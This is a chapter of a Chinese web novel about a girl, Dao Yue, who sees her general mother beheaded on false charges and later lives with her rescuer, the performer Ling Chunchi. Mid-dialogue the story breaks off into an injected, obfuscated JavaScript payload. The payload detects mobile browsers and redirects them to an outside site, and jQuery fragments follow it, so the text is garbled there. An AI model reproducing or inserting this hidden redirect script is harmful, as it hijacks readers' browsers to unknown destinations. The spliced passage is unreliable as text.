3. 我救的人,归我
作品:《呆头鹅小姐养了坏猫》 金甲缝隙掉出来一个黑漆漆的锦袋子,咕噜噜越过十几人的躯干,滚到了夏禾脚边,露出一抹清翠的绿。
道月拼尽全力蹭夏禾,让她帮忙捡起来,抽出一看,竟然是半块青蛇玉佩,用的是极好的料子,莹润透亮,甚至在寒日的照耀下,冒着极淡的紫烟。
出征前,她说想要独山玉做配剑的吊坠,各位军中的叔伯都说难得难得,那可是将军结义时拿到的,最为宝贝。
本以为希望渺茫,但没想到……
青蛇玉佩乃一整块雕刻而成,全无接口,本该平整光滑的背后却凹凸不平。
道月翻开一看,赫然刻着几个大字:
阿昭岁岁平安
道月将玉佩贴着心口,伏在夏禾肩上低声呜咽,泪水打湿她衣衫。
“小姐,没事的没事的,等这阵子过去了,就好了……”
夏禾寻了个偏僻角落将她放下,塞了些盘缠就加紧回府复命。
天旋地转,不过几个时辰,娘不见了爹要杀她,道月眼中的和睦的家,瞬间崩塌。
一个人乖乖坐在雪上,宛若一尊没了生机的人偶。
直到……
“诶,听说要杀头了,去不去看看?”
“杀谁啊?”
“道风云啊,都传疯了,说她通敌导致陛下受惊,还跟手下有私情。”
“道将军不至于吧……我今早还欢迎她凯旋呢。”
“那你消息可滞后了,早朝魏右相数落了她三重罪呢,说得道风云那叫一个哑口无言。”
“你说的有鼻有眼,真的假的?”
“板上钉钉的事了,今日午时,即刻斩首!”
“哦呦——那得去看看啊,我就说一个女流之辈,成不了什么气候,以前果然都是装的……”
两人声音消散,汇入了更嘈杂的人流。
道月深知娘绝不是那样的人,可她说不了话,呜咽着起身,甩掉头顶一层雪,拖着步子随人群进城。
全城的人都跑来看热闹了,根本无人守门,她出行毫无阻碍,但只敢躲在远处看。
娘一身囚服,满身满脸都是血痕,却依旧挺直脊背,目光坚毅不卑不亢,福至心灵一般,母女对上了眼。
女儿浑身脏兮兮,头发乱如蓬草,小脸白得像纸,真是没娘的孩子像根草。
一行热泪划过,她道风云可以死,但要死得有价值,哪怕只叫醒一个人,哪怕只喊醒她女儿,也算这条命没白搭进去。
忍着泪水,高喊:“别忘了这天下究竟属于谁!”
围观者嘈杂一片,只有道月在思考。
属于谁?
她在心里默念:属于陛下,属于大人,反正不属于她。
思索间,午时已至,手起刀落,脑袋腾飞半空转了两圈,血溅三尺,染红飞雪,天地一片红雨。
道月默默闭上了眼,只记得娘发髻依旧梳得干净利落,随后听见咚一声落地。
好想哭,可是哭不出来,眼泪似乎已经跟娘的血一起,流干了。
道月缓缓睁开眸子,眼中最后一点光也消散了,只剩乌沉沉的黑瞳,掀不起任何波澜。
她早早离开,回到了夏禾放下她的那片雪地,一屁股坐了回去。
头晕脑热,倚着枯树滑落,可脑子里一直盘旋着她们的话:
这阵子过去……天下属于谁!
过去……天下……属谁?
雪越发大,道月忍不住想:若现在是六月就好了,六月飞雪,大家一看便知娘是被冤死的。
被冤死又如何?没了命一切都没了,道月浑身提不起劲,枕在枯枝上,缓缓阖上了眼:好困啊……
夏禾姐姐说过了这阵子就好——这阵子是多久……
熟睡前,她见一抹白晃了晃,蹲在身边温柔将她抱起,撞了满怀茉莉香。
这阵子一晃,晃了十年。
道月猛得睁开眼,怎么又做了这梦。
自她被撵出上官府,如今已经过去了十年,夜夜一闭眼都是血,到处鲜红一片。
唯有……道月侧头看向身边睡姿极好的人,唯有在他身边才能睡好。
几回回梦中惊醒,都是他温柔抚着自己,一遍遍哼歌哄睡,害她习惯成疾怎么也改不掉了。
最初却非这样,他虽救了自己,奈何刚经历家破人亡,道月自然对谁都提防着。
据他所言,刚来时一句话不说,每天就是吃,好不容易攒的老婆本,几天就吃没了,而且还不能挨,自己稍微一靠近就浑身紧绷,瞪着眼睛紧盯他,好像一只小野猫。
白日这般,夜里缩在角落被冻醒,又悄没声团吧团吧窝在他怀里,吃着衣角酣睡,醒了又是惧怕的模样,活像养不熟。
“哦……我这么讨厌,那你没把我丢了?”
听出她话中赌气的意味,凌春迟捻着她一缕发丝,放在唇边轻吻,“我救的人,就是我的了,才不会便宜别人。”
“就会说漂亮话。”
“害羞了?我这是真情流露。”
说话时他眼底蜜棕融进一片月,清亮温柔,乱了道月心绪。
“好美。”
窗外月高照,投进窗子映出几朵泛光的花,道月伸手去抓,紧紧攥在手心,贴近胸口,想了想,又握拳在凌春迟心口晃了晃,算作分他一丝丝。
凌春迟生了一张人神共愤的面容,轮廓柔美,一双棕瞳更是温柔地能拧出水,终年飘着层山间雾,叫人看了一眼便溺死其中。
可偏偏性子……
“不必夸我,安心睡就行了。”
“没夸你,夸月亮呢,少臭美。”
凌春迟不管,抬手便将人捞回怀中,下巴抵着她头顶,搂着道月腰身轻拍,“又做噩梦了?我在呢,不怕不怕哦……”
道月抬手在他眼前晃晃,好奇这人怎么发现的。
他连眼睛都没睁开,却精准捉住了她掌心,捏在手里摩挲,“我还不了解你?赶紧睡,你明早……还要起来练功,接着我们还得去……演奏……”
说着说着把自己说困了,道月偷偷勾唇,缩在他怀里,顺便掖掖被子,让他大掌搂得更紧。
这人从不焚香,却是一股茉莉花的淡雅,让人心安。
长枪/刺破云霞,一道金光泄下,道月振臂一挥,挽了个漂亮的花枪,点刺劈扫,动作带风,声波震震,惊起林中乌鹊。
一套丝滑连招下来,果然听得竹屋内一阵嘟嘟囔。
唇角一勾,雪亮银尖戳上竹门,笃笃笃敲了几下,凌春迟果然哀嚎声更甚。
“我给你寻武术秘籍,不是让你吵我睡觉的!”最后一句被蒙在被子里,闷闷的。
道月挑开门,一个飞身窜到他床榻边,抬手就要掀被子,却拽不动。
“你真是……只有贪睡时才这么有劲。”
手上愈发用力,凌春迟却忽然卸力,道月踉跄着后退几步,被他一把抓住胳膊拉进怀里。
下一瞬被子裹上,温热呼吸洒在耳畔,“陪我睡会儿……”
道月默不吭声,心里倒数:三、二、一……
凌春迟突然将她推出被窝,高挑身躯缩成一团瑟瑟发抖,只露出一颗头,“你好凉啊,冻死我了!”
嗤笑一声,道月俯身凑近,眼看鼻尖将要碰上,凌春迟呼吸微滞,水灵灵眼睛眨巴两下,缓缓闭上,心脏狂跳。
预想中的吻没有来,反被道月一把扯飞被子,满屋四溢茉莉花香。
“就知道你吃这套,快起来。”
“你这个可恶的女人!欺骗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16850066|191499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我感情。”
凌春迟恨恨一瞪,磨磨蹭蹭披衣下床。
道月叠好被子放在一旁,转头抓起腰带,熟练地绕到他身后,帮人束腰。
“真把我当你丫鬟了?小姐——”
最后两字说得极用力,手上一紧,凌春迟被勒得内脏都要挤出,瞬间哀嚎求饶。
“都是演的、演的,为了盘缠嘛……”
“你干嘛非扮成千金小姐,知不知道每次去买行头,要花多少钱。”
“这叫舍不得孩子套不着狼。”
道月撇嘴不屑,“你生得这么美,姑娘家自然也愿意砸钱啊。”
“我问你,商贾男女占比谁多?”
“男人。”
“那官员呢?”
“男人。”
“所以……”
“哦!所以他们贪得多!”
道月得意晃头,挑眉只等他夸,却等来一记爆栗。
“笨!是赚得多乐得花,夫人小姐得了钱都砸在自己身上了,哪会给我。”
道月不跟他争辩,一来她从小是个结巴,长大后才稍好了些,但若着急又会犯老毛病,总之是嘴笨说不过。
二来若是说过了,更糟糕,需得低三下气哄到他不愿意计较才好。
左右都是自己吃亏,道月跟着凌春迟别的没学会,不与笨蛋争辩学得那叫一个入木三分。
凌笨蛋得意昂头宛若刚刚得胜的大公鸡,坐在铜镜旁唤道月帮忙梳理发丝。
“我也没见你用什么好东西,怎么这般柔顺。”指尖插入,一顺到底,摸着如同绸缎,扫得她手心痒痒的。
“本公子天生丽质难自弃,快点的,若误了时辰,工钱要减半。”
道月心中腹诽:也不知是谁睡到日上三竿才起,倒是怪起她来了。
“今日咱们要去芙蓉镇的稀物斋,老板特地重金邀请,你也得打扮打扮。”
道月替他插好最后一支翡翠金钗,抱着古琴就要出门,听到这话又退了回来。
“我?我没漂亮裙子的,你是主我是陪,穿不穿的,没人会注意到。”
语毕,抬脚就要走。
凌春迟一把扯着她后领,将人拖回来,“别慌,我给你准备了。”
道月定睛看向木匣,红莲提花短打配上暗纹黑皮腰带,还有一双乌靴,当即大惊,“你哪来的钱?不是都在我这里吗?”
凌春迟摸摸鼻子,目光心虚地划过她质问的眼神,紧绷的嘴唇,落回地上转了个圈,瞥向屋外日头。
十分拙劣地转移话题,“再不换就不必去了,快点快点。”
数着时间等在门外,见道月还不出来,凌春迟拍拍门,故意激她,“丑媳妇也要见公婆,别是不敢出来!”
“我才不丑!”
门瞬间拉开,光照身上,清风拂过荡起她衣摆,没了宽大衣袖遮掩,道月虽裹得严严实实,却有种赤裸之感,手一颤想关门。
凌春迟半个身子压在门上,将她上下扫视一圈,又扳着道月肩膀,让人在面前转个圈,点点头,满眼都是对自己审美的认可。
“你怎么不说话……是不是很奇怪,我去换下来。”
道月低头盯着自己脚尖,这种束口贴身适合习武的衣服,自打她离开府就没穿过,猛一下有些适应。
“好看的,走吧。”
不等她拒绝,凌春迟捏捏道月手心,将她牵出屋子。
“用轻功。”
身侧那人温热胸膛贴上自己后背,粉黛涂面却难掩周身茉莉清香,一手扣腰一手揽肩,整条人紧紧挂在她背后。
道月心里虽然有股怪异之感,但这么些年,次次起晚了都这般,稍稍习惯了些,却还是忍不住发问。
“普通人家也这般?”

